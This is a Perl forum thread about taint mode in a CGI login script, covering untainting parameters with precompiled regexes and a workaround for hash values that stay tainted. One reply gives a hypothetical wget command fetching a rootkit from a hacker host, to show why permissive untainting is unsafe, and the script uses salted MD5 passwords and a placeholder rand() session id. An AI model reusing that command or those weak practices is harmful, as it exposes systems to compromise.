proper untainting and use of ref

[particle]

Ovid's cgi course has given me a good start on my first real cgi application, an intranet interface to a database. views are available to all; updates can only be made after login. i'm working on the login process now, and i've extended Ovid's examples to suit my needs.

only certain parameters are allowed to be passed to the script (although currently i'm not deleting disallowed parameters from the cgi object.) these parameters should be untainted as they're assigned to my %params hash. i believe i'm following the proper technique, but i'm getting -T errors in the create_userfile() sub unless i untaint again.

i've included my login cgi, and my config file below. i have a comment (outdented and prefixed with ## ) on the lines in question.

secondly, i've used ref in the if( verify_digest ... ) clause. is this a valid and safe way of using ref? is there a better way of determining whether something is a Regex?

code follows...

site.conf

# some values changed to protect the innocent
{
    salt      => 'xxxxxxxx',
    users     => '/users/',
    baseurl   => 'http://localhost/',
    maincgi   => 'main.pl',
    sitetitle => 'my site - ',
    groupname => 'my group',
    groupdesc => 'my long group name',
    loginform => 'login.pl',
    pages     => {
        error => 'pages/error.tmpl',
        index => 'pages/index.tmpl',
        admin => 'pages/admin.tmpl',
    },
    sessions => {
        dir     => '/data/sessions/',
        locks   => '/data/sessions/locks/',
        trans   => 1,
        max     => 50,
        expires => 15 * 60,
    },
}

login.pl

#!perl -T
use strict;      # !!!IN DEVELOPMENT ONLY!!!
use warnings;    # !!!IN DEVELOPMENT ONLY!!!

BEGIN
{ 
    @INC = qw( c:/perl/lib c:/perl/site/lib );
    sub CONFIG() { '../data/conf/site.conf' }
    delete @ENV{ qw( IFS CDPATH ENV PATH SHELL COMSPEC WINDIR ) };
}

use CGI;                             # THE module for CGI
use CGI::Carp qw( fatalsToBrowser ); # !!!IN DEVELOPMENT ONLY!!!
use Digest::MD5 qw( md5_base64 );    # for password encryption
use Apache::Session::File;

$CGI::DISABLE_UPLOADS = 1;           # Disable uploads
$CGI::POST_MAX        =   1 * 1024;  # Maximum number of bytes per pos
+t


# initialize objects
my $config = do( CONFIG );
my $q = CGI->new();

# create list of valid params and untainting code
my %valid_params = (
    username => qr/^([a-zA-Z\d_]{4,16})$/,
    password => qr/^([\x20-\x7E]{4,16})$/,
    remember => qr/^(on)$/,
    newuser  => qr/^(on)$/,
);

# create list of messages
my %messages = (
    error  => 'Your username and password information did not match. C
+heck to ' 
        . 'see that you do not have Caps Lock on, hit the back button,
+ and '
        . 'try again.', 
    exists => 'The username you have selected already exists. Please s
+elect '
        . 'another username. If you have forgotten your password, plea
+se call '
        . 'an administrator.',
);

# get valid parameters from cgi object
my %params = get_valid_params( $q, \%valid_params );

# untaint parameters
for( keys %params )
{
    # !!!TODO!!! check 'ref' line for subtle bugs
    ( display_message( $messages{error} ) && exit )
        unless ref($valid_params{$_}) eq 'Regexp';
    if( $params{$_} =~ /$valid_params{$_}/ )
    {
        $params{$_} = $1;
    }
    else
    {
        display_message( $messages{error} ) && exit;
    }
}

# create session
my $session_id = create_session( $config );

my $userfile = get_userfile( $config, $params{username} );
open( USER, '<', $userfile ) or display_message( $messages{error} ), e
+xit;
chomp ( my ( $real_digest, $sessionID ) = <USER> );
close USER or display_message( $messages{error} ), exit;

# create digest
my $user_digest = create_digest( $params{password}, $config->{salt} );

# verify digest and continue if valid
if ( verify_digest( $user_digest, $real_digest ) )
{
    my $sid = create_sessionid();
    $sessionID = $sid;

## !!!UNTAINT - WHY!!!
( $userfile ) = ( $userfile =~ /(.*)/ );

    open( USER, '>', $userfile ) 
        or display_message( $messages{error} ), exit;
    print USER $real_digest, $/, $sid, $/;
    close USER or display_message( $messages{error} ), exit;

    display_message( "Hello, $params{username}. Good password" ) && ex
+it;
}

# fall-through error
display_message( $messages{error} );
exit;


## subs follow

# display messages to browser ( given scalar )
sub display_message($)
{
    my $message = shift;
    print
        $q->header(),
        $q->start_html(),
        $q->p( $message ),
        $q->end_html(),
    ;
}

# get valid parameters from cgi object ( given cgi_object, hash_ref )
sub get_valid_params($$)
{
    my( $q, $valid_params ) = ( shift, shift );
    
    my %params = 
        map  { $_ => get_param_data( $q, $_ ) }   # return key-value p
+airs of
        grep { exists $valid_params->{$_} }       # valid_params membe
+rs from
        $q->param;                                # cgi object param l
+ist
    return %params;
}

# determines and returns proper type (array or scalar) for CGI paramet
+er
# ( given cgi_object, scalar )
sub get_param_data($$)
{
    my( $q, $name ) = ( shift, shift );
    my @values = $q->param( $name );
    return @values > 1
        ? \@values
        : $values[0];
}

# create user file
sub create_userfile
{
    my ( $config, $username, $digest ) = ( shift, shift, shift );
    local *USER;
    my $userfile = $config->{ users } . $username;

## !!!UNTAINT - WHY!!!
( $userfile ) = ( $userfile =~ /^(.*)$/ ) ;

    open( USER, '>', $userfile )
        && print USER $digest, $/;
}

# get user file
sub get_userfile
{
    my ( $config, $username ) = ( shift, shift );
    $config->{ users } . $username;
}

# create MD5 digest
sub create_digest
{
    my $data = shift || '';
    my $salt = shift;
    return md5_base64( $data, $salt );
}

# verify MD5 digests match
sub verify_digest
{
    my ($user_digest, $real_digest) = (shift, shift);
    if( defined $user_digest 
        && defined $real_digest 
        && $user_digest eq $real_digest )
    { return $real_digest }
    return undef;
}

# create a session id
# !!!TODO!!!
sub create_sessionid { sprintf '%06d', rand( 999_999 ) } # fake a sess
+ion id

# create a session
sub create_session 
{
    my $config = shift;
    tie my %session, 'Apache::Session::File', undef, 
        { 
            Directory     => $config->{sessions}{dir},
            LockDirectory => $config->{sessions}{locks},
            Transaction   => $config->{sessions}{trans},
        };
    my $sid = $session{_session_id};
    undef %session;
    return $sid;
}

# retrieve an existing session (given $session_id)
sub retrieve_session 
{
    my $session_id = shift;
    tie my %session, 'Apache::Session::File', $session_id, 
        { Directory => $config->{sessions}{dir} };
    return %session;
}

# verify session
# !!!TODO!!!
sub verify_session 
{
}

sub set_session_data
{
    my $sid = shift;
    my %data = @_;
    my %session = retrieve_session( $sid );
    while( my( $key, $value ) = each %data ) { $session{$key} = $value
+ }
    undef %session;
}

# remove session (given $session_id)
sub remove_session 
{
    my %session = retrieve_session( shift );
    tied(%session)->delete;
}

~Particle ;Þ

[tachyon]

Here is how taint mode works. Any input from outside your code is flagged as tainted until you untaint it. You may not use a tainted value to do things external to your script like say open You get the value for $userfile from your config file (external) via the tainted $config and then try to open it via open ( USER, '>', $userfile ) without untainting it. You need to untaint this value. untainting with (.+) is bad as it lets anything through. What if

$userfile = 'wget http://hacker.com/rfp/rootkit.tar.gz > /bin/badfile_to_have_here'

You would also be wise to set a $filepath and concatenate the value for $userfile to it. This is to make it harder to hack and easier to untaint $userfile. Regardless you must protect your config file (not world readable) and untaint values you use for operations external to your script. Taint will let you know if you have forgotten. Cool huh?

cheers

tachyon

s&&rsenoyhcatreve&&&s&n.+t&"$'$`$\"$\&"&ee&&y&srve&&d&&print

[particle]

my problem is i've already untainted this data once.

# ...snip...

# untaint parameters
for( keys %params )
{
    # !!!TODO!!! check 'ref' line for subtle bugs
    ( display_message( $messages{error} ) && exit )
        unless ref($valid_params{$_}) eq 'Regexp';
    if( $params{$_} =~ /$valid_params{$_}/ )
    {
        $params{$_} = $1;
    }
    else
    {
        display_message( $messages{error} ) && exit;
    }
}

so the data in %params should be untainted, no? but when it's accessed later, via

my $userfile = get_userfile( $config, $params{username} );

$userfile is now tainted, even though $params{username} should be untainted. am i missing something?

Update: modifying the get_userfile() sub like so:

sub get_userfile
{
    my ( $config, $username ) = ( shift, shift );

# add only this line: still tainted
# ( $config->{ users } ) = ( $config->{ users } =~ /^(.+)$/ );

# add only this line: untainted
# ( $username ) = ( $username =~ /^(.+)$/ );

    $config->{ users } . $username;
}

so $config and its data are not tainted. why is $params{ username } still tainted?

~Particle ;Þ

[jarich]

#!perl -T
use strict;      # !!!IN DEVELOPMENT ONLY!!!
use warnings;    # !!!IN DEVELOPMENT ONLY!!!

Good Lord! If you remove strict and warnings once this is in development then your script maintainer might forget about good programming practices later and do terrible things! I'd recommend leaving them in, even in production code.

As for why you have to untaint $userfile before you're allowed to write to it, I think you might want to look at these two lines:

sub CONFIG() { '../data/conf/site.conf' }
my $config = do( CONFIG );

If your ../data/conf/site.conf file contains insecure data or anything that taint ought to object to, this will fail. For example if your conf script returns "$ENV{PATH}/userdirectories" (as it's last line) then $config will be tainted and when combined with the previously clean $param{username} will taint $userfile.

It would be sensible to untaint $config data too, just in case it changes. :) Nice code overall though. :)

Jarich

Update: Just read your Update and realised that you're right, it's not your configuration data. Did a few more tests and have decided that the problem is with taint not liking precompiled regular expressions. It all works as you'd expect if you replace your expressions with ordinary regular expressions. Unfortunately this sort of ruins the point. Any other suggestions monks?

I also missed a question. Yes, that's a good use of ref.

[jerrygarciuh]

For further discussion of the use of the -w switch in production code see this node, or this one.
HTH
jg
_____________________________________________________
Think a race on a horse on a ball with a fish! TG

[particle]

you cannot directly untaint a hash value in perl 5.6.1.

i should have tested better before i posted. below is a sample script you can run to see for yourself. it creates a file in the current directory named 'file'. then it asks you to type in 'file' (minus the quotes.) this taints whatever variable is assigned the value entered. i test three methods of untainting: direct scalar, temp scalar and reassign, and direct hash value. the direct hash value method fails.

#!/usr/bin/perl -T
use strict;
use warnings;


$ENV{PATH} = '';
{
    local *FH;
    open(FH, '>', 'file') or die "can't create 'file'";
}

print "type 'file' to test: ";

my $file_in = <>;
my ($file, %regex, %params);
$regex{A} = qr/^(\w+)$/;

# untaint scalar ($file) - works fine
$file = $file_in;                                   # tainted
( $file ) = ( $file =~ /$regex{A}/ );               # UNTAINTED
{
    local *FH;
    open( FH, '+>', $file ) or die "$file : untaint \$file";
    close FH;
}

# untaint scalar ($temp) - works fine
%params = ();
$file = $file_in;                                   # tainted
$params{A} = $file;                                 # tainted
my $temp = $params{A};                              # tainted
( $params{A} ) = ( $temp =~ /$regex{A}/ );          # UNTAINTED
{
    local *FH;
    open( FH, '+>', $params{A} ) or die "$params{A} : untaint \$temp";
    close FH;
}

# untaint scalar hash value ($params{A}) - fails!
%params = ();
$file = $file_in;                                   # tainted
$params{A} = $file;                                 # tainted
( $params{A} ) = ( $params{A} =~ /$regex{A}/ );     # STILL TAINTED
{
    local *FH;
    open( FH, '+>', $params{A} ) or die "$params{A} : untaint \$params
+{A}";
    close FH;
}

the error i get on cygwin with perl561 is:

$ t-taint.pl
type 'file' to test: file
Insecure dependency in open while running with -T switch at ./t-taint.
+pl line 46, <> line 1.

i have modified my code to untaint a temp scalar and reassign to the hash like so:

# untaint parameters
for( keys %params )
{
    ( display_message( $messages{error} ) && exit )
        unless ref($valid_params{$_}) eq 'Regexp';

    my $temp = $params{$_};            ### <--- added this variable

    if( $temp =~ /$valid_params{$_}/ ) ### <--- changed this line
    {
        $params{$_} = $1;
    }
    else
    {
        display_message( $messages{error} ) && exit;
    }
}

and all is well with the world.

~Particle ;Þ